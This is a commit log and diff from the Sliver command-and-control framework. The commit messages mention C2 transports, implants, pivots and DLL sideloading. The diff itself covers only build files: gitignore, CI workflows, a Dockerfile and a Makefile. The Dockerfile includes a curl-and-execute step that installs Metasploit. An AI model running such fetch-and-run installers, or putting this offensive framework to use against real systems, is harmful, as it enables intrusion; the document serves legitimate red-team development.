rkervella 0564c685f3 Re-enable codeql scanning 2021-04-13 13:18:45 +02:00
rkervella 601752d7a0 Allow version override to make codeql happy 2021-04-13 13:17:28 +02:00
rkervella 112a338d07 Codeql workaround attempt #1 2021-04-13 12:48:15 +02:00
moloch-- e9eefae46c Fix transport check in portfwd 2021-04-12 22:47:25 -05:00
moloch-- 4ce79a6dd0 Added warning to 3389 forwards 2021-04-12 22:19:45 -05:00
moloch-- e26802989e Added warning to 3389 forwards 2021-04-12 22:19:09 -05:00
moloch-- 77eea586cc ActiveSession Get->GetInteractive 2021-04-12 22:16:13 -05:00
moloch-- c26eae1776 Merged master 2021-04-12 21:45:56 -05:00
Joe df570f7711 Merge pull request #383 from BishopFox/wg-portfwd
Add socks and port forwarding to the Wireguard C2 transport
2021-04-12 07:14:20 -05:00
rkervella e8b60f1fbd Add missing protobuf files 2021-04-12 13:06:51 +02:00
Ronan Kervella 8ced159505 Merge pull request #391 from BishopFox/fix/namedpipe
Fix named pipe listener to accept remote clients
2021-04-12 13:03:53 +02:00
rkervella cace8d0f73 Fix go.mod and go.sum 2021-04-12 12:35:50 +02:00
rkervella ae2219dfb9 Fix go.sum 2021-04-12 12:28:03 +02:00
rkervella d4b3ec9dac Add github.com/lesnages to GOPRIVATE 2021-04-12 12:17:18 +02:00
rkervella 8a6a6424a5 Merge branch 'master' into wg-portfwd 2021-04-12 12:11:45 +02:00
rkervella a54eba95ef Fix named pipe listener to accept remote clients 2021-04-12 11:52:54 +02:00
Joe 92a188d934 Update README.md 2021-04-11 10:33:13 -05:00
moloch-- e0962c711c Merged master 2021-04-11 09:51:21 -05:00
Joe 9343b2a2ce Merge pull request #390 from BishopFox/stage
Upgrade Go / Protobuf / gRPC
2021-04-11 09:33:22 -05:00
moloch-- 55674a16fd Removed protoc steps from workflows 2021-04-11 09:08:22 -05:00
moloch-- a5e1de966e Updated gitignore, makefile seperates pb from normal builds 2021-04-11 09:05:59 -05:00
moloch-- 6637f3932c Commit pb.go files 2021-04-11 08:59:00 -05:00
moloch-- 547e33c65a Updated vendor/ 2021-04-11 08:58:39 -05:00
moloch-- 809dedc98f Update macos build workflows 2021-04-11 08:53:01 -05:00
moloch-- 09b699dcdb Make protoc 755? 2021-04-11 08:47:36 -05:00
moloch-- 6965035f64 Make protoc +x? 2021-04-11 08:45:27 -05:00
moloch-- 69da0435cc Update workflows with new pb/grpc build 2021-04-11 08:39:25 -05:00
moloch-- ddcc90836e Merge remote-tracking branch 'origin/protobuf' into stage 2021-04-11 08:20:35 -05:00
moloch-- a6545161c0 updated vendor/ 2021-04-11 08:15:34 -05:00
moloch-- 3e7217ece9 Updated golang / protobuf / grpc deps 2021-04-11 08:15:25 -05:00
Ronan Kervella 5707fe7bc6 Merge pull request #389 from BishopFox/test/wireguard-c2
Add wireguard C2 tests
2021-04-10 14:38:16 +02:00
rkervella 579a82c23b Remove checkout option, no longer necessary 2021-04-10 14:02:14 +02:00
rkervella fdd0d036f2 Only scan implant and server code 2021-04-10 13:58:16 +02:00
rkervella c77a0c0615 Add wireguard C2 tests 2021-04-10 13:45:47 +02:00
Ronan Kervella c032c0839a Merge pull request #388 from BishopFox/rkervella/issue384
Fix limit related issues
2021-04-10 12:23:40 +02:00
rkervella 1d2d1c1f9d Feature --limit-fileexists is broken
Fixes #384
Fixes #385
2021-04-10 12:07:43 +02:00
Ronan Kervella 69133c1b27 Merge pull request #381 from BishopFox/wg-rpc
Fix missing net import
2021-04-10 12:00:47 +02:00
moloch-- d56de497b0 removed extra 'v' in version 2021-04-09 21:11:31 -05:00
Joe 88f72a7cbd Merge pull request #387 from BishopFox/stage
Added server-side name validation to rpc.UpdateSession
2021-04-09 15:19:14 -05:00
moloch-- cfd390b677 Added server-side name validation to rpc.UpdateSession 2021-04-09 14:44:33 -05:00
Joe 16da415f3c Merge pull request #386 from BishopFox/stage
Add CN for operator leaf cert for picky clients
2021-04-09 14:16:34 -05:00
moloch-- baab7d86c7 Add CN for operator leaf cert for picky clients 2021-04-09 13:40:14 -05:00
rkervella 343296d087 Add detailed help 2021-04-09 18:28:39 +02:00
rkervella 7a2764dc6f Update vendor 2021-04-09 16:07:32 +02:00
rkervella 95fd407b6e Reverse Socks and Portfwd through wireguard working 2021-04-09 16:06:51 +02:00
rkervella 3f3e4ee391 Don't set promiscuous mode 2021-04-08 17:59:05 +02:00
rkervella cc7c5a0e86 Add missing import for wg c2 2021-04-08 17:19:25 +02:00
rkervella cef4c280a0 Merge branch 'master' into wg-rpc 2021-04-08 17:15:47 +02:00
rkervella 5e0b8d4901 SetPromiscuous mode 2021-04-08 17:14:38 +02:00
Ronan Kervella 85afff9193 Merge pull request #379 from BishopFox/wg-rpc
Add a new RPC to generate a wireguard client configuration
2021-04-08 17:14:12 +02:00
rkervella 0364b677ca Don't import fmt when not needed 2021-04-08 16:57:35 +02:00
rkervella bb9cb861ef Add missing files 2021-04-08 16:41:21 +02:00
Joe 33ffca6a43 Merge pull request #378 from BishopFox/stage
Improved CLI UX
2021-04-08 09:38:04 -05:00
moloch-- 64ab365c03 Fix lport flag type, added echo arg to asset setup 2021-04-08 09:22:41 -05:00
rkervella 1e64de8430 Add support for hostnames 2021-04-08 16:16:48 +02:00
moloch-- 0deebe53c9 Improved cli ux 2021-04-08 09:06:56 -05:00
moloch-- f61648c62d Perform standard asset init steps on daemon mode start 2021-04-08 08:51:11 -05:00
moloch-- 2a0b9190ba Merge branch 'master' into portfwd2 2021-04-08 08:34:19 -05:00
Joe deef600aff Merge pull request #377 from BishopFox/stage
Re-add Daemon Mode to CLI
2021-04-08 08:31:54 -05:00
moloch-- 6071ac85db Non-zero exit code on daemon start failure 2021-04-08 08:17:46 -05:00
moloch-- 479e062906 updated vendor/ 2021-04-08 08:07:01 -05:00
moloch-- d218081072 updated vendor/ 2021-04-08 08:02:48 -05:00
rkervella e79b8213a5 Add GenerateWGClientConfig RPC 2021-04-08 14:52:55 +02:00
Ronan Kervella d81a647477 Merge pull request #376 from BishopFox/wg-fixes
Replace Panic calls with Errorf
2021-04-08 14:18:06 +02:00
rkervella 67e742381d add format to format string 2021-04-08 13:21:46 +02:00
rkervella a50fd655ce Handle error 2021-04-08 13:11:33 +02:00
rkervella ba8f52e07b Don't panic in case of errors 2021-04-08 13:08:51 +02:00
Joe 8930250272 Update README.md 2021-04-07 14:50:01 -05:00
moloch-- 7cc5545363 Updated vendor/ 2021-04-07 08:31:30 -05:00
moloch-- f6de8a0ddc Merged master 2021-04-07 08:30:25 -05:00
moloch-- d45abfae78 Remove unused const 2021-04-07 08:27:15 -05:00
Ronan Kervella c91bcb6f14 Merge pull request #375 from BishopFox/update-vendor
Update vendor
2021-04-07 15:26:44 +02:00
rkervella 87bbe0d10c Update vendor 2021-04-07 14:59:42 +02:00
Ronan Kervella 8e8428bd7c Merge pull request #363 from dzflack/wg-transpor-pr
Add support for wireguard transport
2021-04-07 14:56:35 +02:00
Zack Flack 1a85e397a9 move netstack package to server directory 2021-04-07 19:51:26 +08:00
Ronan Kervella 8dccad2656 Merge pull request #374 from BishopFox/rkervella/issue365
Listing enabled pivots
2021-04-07 13:24:31 +02:00
rkervella 40fd4423ae Add help and current session support 2021-04-07 12:34:24 +02:00
rkervella ea7632c7c5 Listing enabled pivots
Fixes #365
2021-04-07 12:29:41 +02:00
Zack Flack 1a4db2352f fix logging calls, improve error handling 2021-04-07 18:27:10 +08:00
Zack Flack 843ee11f73 add additional wg help, make wg callback ports configurable 2021-04-07 18:27:10 +08:00
Zack Flack 599956fc94 move wg ip logic to server/generate package and add RPC 2021-04-07 18:27:10 +08:00
Ronan Kervella 613aaba352 Merge pull request #373 from BishopFox/rkervella/issue368
ProcessList with sessionID on windows
2021-04-07 12:01:04 +02:00
rkervella 71e10e59d0 ProcessList with sessionID on windows
Fixes #368
2021-04-07 11:09:17 +02:00
moloch-- 065c0c2f23 Implemented portfwd rm and drain peeked conn 2021-04-06 09:52:34 -05:00
Ronan Kervella 1a5335ab9e Update CONTRIBUTING.md 2021-04-06 11:12:52 +02:00
moloch-- 507675ac97 Cleaner ux 2021-04-05 20:21:25 -05:00
moloch-- b3908cb6ed Added core mgmt code for proxies 2021-04-05 19:45:37 -05:00
moloch-- 0aef00efd6 Fixed write length nil value bug 2021-04-05 17:52:15 -05:00
moloch-- 5803d422f9 Mostly working 2021-04-05 16:27:10 -05:00
moloch-- 37d2f610d4 Added --remote flag 2021-04-05 15:56:27 -05:00
moloch-- 516f464b0f added implant side code and client cmds 2021-04-05 15:46:18 -05:00
moloch-- 5295e5be6f Server/client compiles ... 2021-04-05 14:35:26 -05:00
moloch-- 66e628ecf6 Outline of client-side portfwd 2021-04-05 12:29:13 -05:00
Ronan Kervella 0a4fd12bc7 Merge pull request #371 from BishopFox/fix-spawndll
Fix improper use of debug/pe
2021-04-02 09:18:00 +02:00
rkervella 476240fb02 Use pe.NewFile instead of pe.NewFileFromMemory
Force kill on sideload/spawndll for extensions
2021-04-02 08:51:20 +02:00
Joe 6b02f195ac Merge pull request #369 from BishopFox/stage
GPG Signed Releases
2021-04-01 09:10:29 -05:00
moloch-- aafd9ef827 backwards compatible file names 2021-04-01 08:18:24 -05:00
moloch-- 82b9c5f8c3 Added mkdir -p release/ 2021-04-01 08:10:57 -05:00
moloch-- 10bc6095ea updated autorelease workflow to gpg sign artifacts 2021-04-01 08:09:35 -05:00
moloch-- 55bd75c377 updated vendor/ 2021-04-01 07:49:41 -05:00
moloch-- cc6eb54844 Added gpg public key 2021-04-01 07:49:25 -05:00
Zack Flack 8ce1732e90 add fadditional comments 2021-04-01 18:21:34 +08:00
Zack Flack 85f5a11e8d fix log formatting errors 2021-03-30 19:30:32 +08:00
Zack Flack aeeccbd64d add support for wireguard transport 2021-03-30 17:59:26 +08:00
Ronan Kervella 9508092f11 Merge pull request #362 from BishopFox/kill
Rework the force flag for `kill`
2021-03-29 17:44:20 +02:00
rkervella 3ce83c049a Rework the force flag for kill 2021-03-29 17:11:52 +02:00
Ronan Kervella 8e23f3b425 Merge pull request #361 from BishopFox/rkervella/issue359
Fix for #359
2021-03-25 12:25:18 +01:00
Ronan Kervella 200573c2e8 Merge pull request #360 from BishopFox/sideload
Add keep-alive switch to sideload and spawndll
2021-03-25 12:24:57 +01:00
rkervella f41a163d3a Refactor 2021-03-25 12:03:46 +01:00
rkervella c6d7ab07d0 ps fails in linux environments using NSS
Fixes #359
2021-03-25 11:59:58 +01:00
rkervella 9d51f18670 Add keep-alive switch to sideload and spawndll 2021-03-25 11:43:55 +01:00
Joe 58a56a077f Merge pull request #356 from BishopFox/static-build
Force static build
2021-03-23 17:19:59 -05:00
rkervella 674be86f89 fix linux build 2021-03-23 14:23:04 +01:00
rkervella 7444c3d926 fix linux build 2021-03-23 14:22:33 +01:00
rkervella 606effa1b1 Force static build 2021-03-23 13:36:27 +01:00
Ronan Kervella 742ae73a12 Merge pull request #355 from BishopFox/fix/execute-assembly
Fix message type
2021-03-21 11:08:04 +01:00
rkervella 2f880d99ee Fix message type 2021-03-21 10:25:35 +01:00
Joe d836e2be17 Merge pull request #354 from BishopFox/stage
Improved Cleanup
2021-03-18 10:30:13 -05:00
moloch-- 1367d1b714 Modify go dir permissions to ensure a clean removal 2021-03-18 09:00:46 -05:00
Joe a9639b0873 Merge pull request #350 from BishopFox/registry
Add windows registry operations
2021-03-15 19:59:38 -05:00
Joe abac7067fa Merge pull request #351 from BishopFox/stage
Garble Update
2021-03-15 19:59:20 -05:00
moloch-- 53b57c8cf9 Added missing gcc 32-bit lib to github actions 2021-03-15 18:49:46 -05:00
moloch-- d86661a060 Expanded unit tests to cover linux shared library builds and windows service builds issue #348 2021-03-15 15:27:00 -05:00
moloch-- 75ee37fd2e Updated go to v1.16.2 and garble 2021-03-15 14:59:03 -05:00
rkervella 3921a192b6 Fix OpenRemoteKey 2021-03-12 14:11:47 +01:00
rkervella e77aa319bb Registry read/write/create ok 2021-03-12 13:28:56 +01:00
rkervella 375376813a Merge branch 'master' into registry 2021-03-12 10:06:41 +01:00
rkervella 743973c9a7 WIP Registry 2021-03-12 08:52:05 +01:00
Joe 9beb445a3d Merge pull request #347 from tututu-patch/master
Fix cannot find 'nm'
2021-03-11 08:30:42 -06:00
rkervella ce8cc8ce1d WIP registry operations 2021-03-11 14:32:53 +01:00
突突兔 6259c2aa30 Fix cannot find 'nm'
https://github.com/BishopFox/sliver/wiki/Stagers

I encountered this error when generating stagers. I located this location through the log and the environment variable was not added, which resulted in the nm not being found.

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:203] --- stdout ---

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:204] --- stderr ---
# runtime/cgo
collect2: fatal error: cannot find 'nm'
compilation terminated.
2021-03-11 09:59:43 +08:00
moloch-- 5dc2882ae2 Added a 'go mod vendor' call to Dockerfile to avoid misaligned vendor/ 2021-03-08 08:07:28 -06:00
Ronan Kervella f456a256aa Merge pull request #344 from BishopFox/go-donut
Go donut
2021-03-08 13:32:18 +01:00
1620 changed files with 229219 additions and 30210 deletions

No files matched your search

+15 -21
View File
@@ -1,27 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
/server/assets/fs/**.zip
server/assets/fs/**.zip
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -1
View File
@@ -2,4 +2,7 @@ name: "CodeQL Security Checks"
queries:
- name: Security and Quality
uses: security-extended
uses: security-extended
paths:
- server
- implant
+30 -52
View File
@@ -2,8 +2,8 @@ name: Release
on:
push:
tags: v[1-9]+.[0-9]+.[0-9]+
branches: master
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
jobs:
@@ -11,35 +11,19 @@ jobs:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -49,9 +33,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
run: export PATH=/home/runner/go/bin/:$PATH && make linux
@@ -75,33 +56,17 @@ jobs:
name: MacOS Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -111,9 +76,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make AMD64
run: make macos
@@ -133,6 +95,7 @@ jobs:
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
@@ -140,24 +103,39 @@ jobs:
with:
path: ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Package Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Package Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS AMD64
- name: Package MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
@@ -170,4 +148,4 @@ jobs:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./release/*.zip
./release/*
+10 -17
View File
@@ -13,15 +13,15 @@ jobs:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
with:
@@ -31,13 +31,7 @@ jobs:
if: ${{ github.event_name == 'pull_request' }}
fetch-depth: 2
# If this run was triggered by a pull request event then checkout
# the head of the pull request instead of the merge commit.
# Only include this step if you are running this workflow on pull requests.
- run: git checkout HEAD^2
if: ${{ github.event_name == 'pull_request' }}
- name: OS Packages
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
@@ -66,19 +60,18 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
languages: go
# Build the server ... is this necessary though?
- run: |
make linux
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+7 -45
View File
@@ -12,35 +12,19 @@ jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -51,9 +35,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
run: make linux
@@ -66,33 +47,17 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -102,9 +67,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
run: make macos
+13 -16
View File
@@ -1,23 +1,22 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
release-*
/Dockerfile.*
/*.sdk.tar.xz
# Generated by makefile
client/version/version.go
server/assets/version.go
/release-*
# Diffs
*.orig
# Binaries
sliver-server
sliver-server_arm64
sliver.exe
/sliver-server
/sliver-server_arm64
/sliver.exe
sliver-client
sliver-client_arm64
sliver-client.exe
/sliver-client
/sliver-client_arm64
/sliver-client.exe
sliver-server-linux.zip
sliver-server-macos.zip
@@ -31,14 +30,12 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
*.pb.go
.DS_Store
+1
View File
@@ -13,6 +13,7 @@ Contributing to Sliver
* Any changes to `vendor/` should be in a distinct commit
* Avoid use of `CGO` (limits cross-platform support)
* Avoid use of empty interfaces
* Never import anything from the `server` package in the `client` package.
## Security
+17 -15
View File
@@ -1,4 +1,4 @@
FROM golang:1.16
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,8 +6,9 @@ FROM golang:1.16
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.11.4
ENV PROTOC_GEN_GO_VER 1.3.5
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -20,7 +21,7 @@ RUN apt-get update --fix-missing && apt-get -y install \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm
nasm gcc-multilib
#
# > User
@@ -31,7 +32,6 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
@@ -42,27 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
RUN wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah && /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+38 -21
View File
@@ -10,7 +10,7 @@ TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
# Version Information
#
GO_VERSION = $(shell $(GO) version)
VERSION = $(shell git describe --abbrev=0)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
@@ -29,7 +29,7 @@ LDFLAGS = -ldflags "-s -w \
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = protoc protoc-gen-go uname sed git zip go date
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
@@ -42,6 +42,14 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
# *** Start Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
@@ -68,42 +76,54 @@ ifeq ($(MAKECMDGOALS), windows)
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
# *** End Linux ***
#
# Targets
#
.PHONY: default
default: clean pb
$(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean pb
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean pb
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
